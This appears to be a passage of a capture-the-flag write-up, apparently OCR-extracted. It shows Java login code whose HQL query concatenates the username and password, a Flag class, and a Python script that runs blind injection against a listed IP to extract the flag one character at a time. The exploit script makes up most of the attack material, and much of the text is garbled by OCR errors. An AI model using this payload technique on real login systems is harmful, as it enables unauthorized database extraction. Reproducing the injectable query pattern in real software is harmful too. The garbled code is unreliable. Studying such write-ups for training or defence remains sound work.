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public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userlList.size() == 1) {
return true;
¥
addActionError("Username or password is Wrong, please check!");
return false;

}

UserServicelmpl.class

public List <User> loginCheck(String name, String password) {
name = name.replaceAll("™ ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("~[0-9a-zA-Z]+%$").matcher(name);
Matcher password_matcher = Pattern.compile("~[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find()) {
return this.userDao.loginCheck(name, password);

}

return null;

UserDaolmpl.class

public List < User > loginCheck(String name, String password) {

return getHibernateTemplate().find("from User where name ="'" + name + and password = + password +

")
}
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public class Flag |
private String flag;

public String getFlag() { return this.flag; }

public void setFlag(String flag) {
this.flag = flag:;
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import requests
s=requests.session()

flag=""
for i in range(1,50):
p:
for j in range(1,255):
payload = "(select%@Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlagik0Awhere%0Aid<2)<" ' "+str(j)+"""
#print payload
url="http://220.249.52.133:30381/zhuanxvlogin?user.name=admin'%0Aor%0A" +payload+"%0Aor%s0Aname%0Alike%0A"
admin&user.password=1"
rl=s.get(url)
#print url
#print Llen(rl.text)
if len(rl.text)>20000 and p!="'":
flag+=p
print i,flag
break
p=chr(J)
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